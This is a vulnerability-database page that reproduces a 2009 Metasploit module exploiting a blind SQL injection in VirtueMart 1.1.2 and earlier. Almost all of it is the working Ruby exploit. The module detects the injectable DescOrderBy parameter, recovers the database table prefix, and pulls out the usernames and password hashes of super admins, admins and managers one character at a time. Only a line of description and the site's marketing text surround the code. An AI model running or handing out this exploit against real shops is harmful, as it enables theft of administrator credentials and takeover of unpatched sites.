Lucene search
K

VirtueMart 1.1.2 - SQL Injection (Metasploit)

🗓️ 31 Mar 2009 00:00:00Reported by waraxeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

This module exploits VirtueMart <= 1.1.2 Blind SQL Injection vulnerability. It allows fetching all super admins, admins, and managers.

Code
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
			'Description'    => %q{
					This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
			},
			'Author'         => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '1.0',
			'References'     =>
				[
					['BID', '33480'],
					['URL', 'http://www.waraxe.us/advisory-71.html'],
					['URL', 'http://secunia.com/advisories/33671/']
				],
			'DisclosureDate' => 'Jan 24 2009'))

			register_options(
				[
					OptString.new('URI', [false, 'Path to VirtueMart', '']),
					OptInt.new('TARGETID', [false, 'Target ID (optional)']),
					OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
					OptBool.new('ALLSA', [ false,  'Fetch all Super Admins', true]),
					OptBool.new('ALLA', [ false,  'Fetch all Admins', false]),
					OptBool.new('ALLM', [ false,  'Fetch all Managers', false]),
				], self.class)
			
	end

	def run

		@marker = 'name="addtocart"'
		@target_uri = '/' + datastore['URI'] + '/'
		@target_uri = @target_uri.gsub(/\/{2,}/, '/')
		@target_id = datastore['TARGETID'] 
		@target_prefix = datastore['PREFIX']
		@requests = @fetched = 0
		time_start = Time.now.to_i
		
		# debug_level=2 - more debug messages, 1 - less
		@debug_level = 1
		
		if(!pre_test)
			print_error('Exploit failed in pre-test phase')
			return
		end

		if(datastore['ALLSA'])
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end
		
		if(datastore['ALLA'])
			if(!get_users(2))
				print_error('Exploit failed fetching Admins')
				return
			end
		end
		
		if(datastore['ALLM'])
			if(!get_users(3))
				print_error('Exploit failed fetching Managers')
				return
			end
		end
		
		if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
			print_status('Target ID or group(s) not specified, fetching Super Admins as default')
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end
		
		if(@target_id > 1)
			if(!get_user())
				print_error("Exploit failed fetching user with ID=#{@target_id}")
				return
			end
		end
		
		time_spent = Time.now.to_i - time_start
		
		print_status("Exploitation results:")
		print_status("Got data for  #{@fetched} users")
		print_status("Total time spent: #{time_spent} seconds")
		print_status("HTTP requests needed: #{@requests}")
		
	end
	############################################################
	def make_post(post_data)
		
		timeout = 30
		
		begin	
		
			res = send_request_cgi({
				'uri'     => @target_uri,
				'method'  => 'POST',
				'data'  => post_data,
			}, timeout)
			
			if(res and res.body)
				@requests += 1
				return res.body
			else
				print_error('No response from server')
				return nil
			end
			
		rescue ::Exception
			print_error("Error: #{$!.class} #{$!}")
			return nil
		end
	end
	############################################################
	def test_condition(condition)
		
		max_tries = 10

		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
		post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
		
		1.upto(max_tries) do |i|
			
			buf = make_post(post_data)
			
			if(buf)
				return buf.include?(@marker)
			else
				print_status("Sleeping #{i} seconds")
				sleep(i)
				print_status("Awake, retry ##{i}")
			end
		end
		
		return nil
	end
	############################################################
	def pre_test
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 1 failed - VirtueMart not detected')
			return false
		else
			print_status('Pre-test 1 passed - VirtueMart detected')
		end

		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
		buf = make_post(post_data) or return false

		if(buf.include?(@marker))
			print_error('Pre-test 2 failed - target is patched?')
			return false
		else
			print_status('Pre-test 2 passed - injection detected')
		end
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 3 failed - subselects not supported?')
			return false
		else
			print_status('Pre-test 3 passed - subselects supported')
		end
		
		if(@target_prefix == '')
			print_status('Prefix not provided, trying to fetch')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		end
		
		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
			"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
			
		buf = make_post(post_data) or return false
		
		if(!buf.include?(@marker))
			print_error('Pre-test 4 failed - wrong prefix?')
			print_status('Trying to fetch valid prefix')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		else
			print_status('Pre-test 4 passed - prefix OK')
		end
		
		return true
	end
	############################################################
	def get_char(pattern, min, max)
	
		num = get_num(pattern, min, max) or return nil
		
		return num.chr
		
	end
	############################################################
	def get_hash(group = nil, u_pos = nil)
		
		hash = ''
	
		if(group and u_pos)
			pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
		else
			pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
		end
		
		p_len = get_num(pattern, 32, 100) or return nil
		
		print_status("Got hash length: #{p_len.to_s}")
		
		1.upto(p_len) do |pos|
			print_status("Finding hash char pos #{pos}") if @debug_level > 0
				
			if(group and u_pos)
				pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
			else
				pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
			end
			
			c = get_char(pattern, 32, 128) or return nil

			hash << c
			print_status("Known: #{hash}") if @debug_level > 0

		end
		
		return hash
		
	end
	############################################################
	def get_prefix
		
		prefix = ''
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
			'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
			return false
		else
			print_status('INFORMATION_SCHEMA detected, proceed')
		end
		
		pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
			' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
		 
		p_len = get_num(pattern, 5, 100) or return nil
		p_len -= 10
		
		if(p_len < 0)
			print_error("Invalid prefix length: #{p_len.to_s}")
			return false
		elsif(p_len == 0)
			print_status('Prefix seems to be empty')
			@target_prefix = ''
			return true
		else
			print_status("Got prefix length: #{p_len.to_s}")
		end
		
		1.upto(p_len) do |pos|
			print_status("Finding prefix char pos #{pos}") if @debug_level > 0
			
			pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
			" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
			
			c = get_char(pattern, 32, 128) or return nil

			prefix << c
			print_status("Known: #{prefix}") if @debug_level > 0

		end
		
		return prefix
	end
	############################################################
	def get_num(pattern, min = 1, max = 100)
		
		curr = 0;

		while(1)
			
			area = max - min
			if(area < 2 )
				post_data = "#{pattern}=#{max}"
				eq = test_condition(post_data)
			
				if(eq == nil)
					return nil
				elsif(eq)
					len = max
				else
					len = min
				end
				
				break
			end
		
			half = area / 2
			curr = min + half
		
			post_data = "#{pattern}>#{curr}"
		
			bigger = test_condition(post_data)
		
			if(bigger == nil)
				return nil
			elsif(bigger)
				min = curr
			else
				max = curr
			end

			print_status("Current: #{min}-#{max}") if @debug_level > 1
			
		end
		
		return len
		
	end
	############################################################
	def get_username(group = nil, u_pos = nil)
		
		username = ''
		
		if(group and u_pos)
			pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
		else
			pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
		end
		
		u_len = get_num(pattern, 1, 150) or return nil
		
		print_status("Got username length: #{u_len.to_s}")
		
		1.upto(u_len) do |pos|
			print_status("Finding username char pos #{pos}") if @debug_level > 0
			
			if(group and u_pos)
				pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
			else
				pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
			end
				
			c = get_char(pattern, 32, 128) or return nil

			username << c
			print_status("Known: #{username}") if @debug_level > 0
			
		end
		
		return username
		
	end
	############################################################
	def get_users(group)
		
		if(group == 1)
			usertype = '0x53757065722041646d696e6973747261746f72'
			print_status('Starting to fetch all Super Admins')
		elsif(group == 2)
			usertype = '0x41646d696e6973747261746f72'
			print_status('Starting to fetch all Admins')
		else
			usertype = '0x4d616e61676572'
			print_status('Starting to fetch all Managers')
		end
		
		pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

		u_cnt = get_num(pattern, 0, 100) or return nil
		
		print_status("Targets to fetch: #{u_cnt.to_s}")
		
		0.upto(u_cnt - 1) do |pos|
			
			print_status("Fetching user pos #{pos}")
			
			username = get_username(usertype, pos) or return nil
			hash = get_hash(usertype, pos) or return nil
			@fetched += 1
			
			print_status(
				"Got user data:" +
				"\n==============================\n" +
				"Username: #{username}\n" +
				"Hash: #{hash}" +
				"\n=============================="
			)
			
		end
		
		return true
	end
	############################################################
	def get_user
		
		print_status("Testing user ID=#{@target_id}")
		pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
		u_cnt = get_num(pattern, 0, 100) or return nil
		
		if(u_cnt != 1)
			print_error("No user with ID=#{@target_id}")
			return true
		end
		
		print_status("Working with user ID=#{@target_id}")
		
		username = get_username or return nil
		hash = get_hash or return nil
		@fetched += 1
		
		print_status(
			"Got user data:" +
			"\n==============================\n" +
			"Username: #{username}\n" +
			"Hash: #{hash}" +
			"\n=============================="
		)
			
		return true
	end
	############################################################	
end

# milw0rm.com [2009-03-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Mar 2009 00:00Current
7.4High risk
Vulners AI Score7.4
24